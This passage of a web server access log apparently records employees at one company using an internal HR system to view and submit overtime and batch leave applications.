/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:25:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.146 - - [03/Dec/2025:18:26:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.146 - - [03/Dec/2025:18:26:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:26:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.71 - - [03/Dec/2025:18:26:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8433711732171835 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:26:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8433711732171835 HTTP/1.1" 200 8456 192.168.11.146 - - [03/Dec/2025:18:26:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165156 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165156 192.168.11.146 - - [03/Dec/2025:18:26:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.146 - - [03/Dec/2025:18:26:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.71 - - [03/Dec/2025:18:26:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8433711732171835 HTTP/1.1" 200 10636 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8433711732171835" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:26:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8433711732171835 HTTP/1.1" 200 10636 192.168.11.146 - - [03/Dec/2025:18:26:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:26:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:26:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:26:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.146 - - [03/Dec/2025:18:26:40 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:40 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 192.168.11.146 - - [03/Dec/2025:18:26:41 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:41 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701 192.168.11.146 - - [03/Dec/2025:18:26:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.146 - - [03/Dec/2025:18:26:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.71 - - [03/Dec/2025:18:26:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:26:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.146 - - [03/Dec/2025:18:26:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:26:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:26:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.146 - - [03/Dec/2025:18:26:53 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:53 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.146 - - [03/Dec/2025:18:26:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.146 - - [03/Dec/2025:18:26:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:26:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:26:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:27:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.146 - - [03/Dec/2025:18:27:01 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:01 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.71 - - [03/Dec/2025:18:27:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:27:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.146 - - [03/Dec/2025:18:27:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.146 - - [03/Dec/2025:18:27:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:27:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:27:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 192.168.11.146 - - [03/Dec/2025:18:27:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:27:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.146 - - [03/Dec/2025:18:27:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:17 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.146 - - [03/Dec/2025:18:27:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.146 - - [03/Dec/2025:18:27:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:27:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.71 - - [03/Dec/2025:18:27:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5323967565446155 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:27:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5323967565446155 HTTP/1.1" 200 8456 192.168.11.146 - - [03/Dec/2025:18:27:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 31 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime 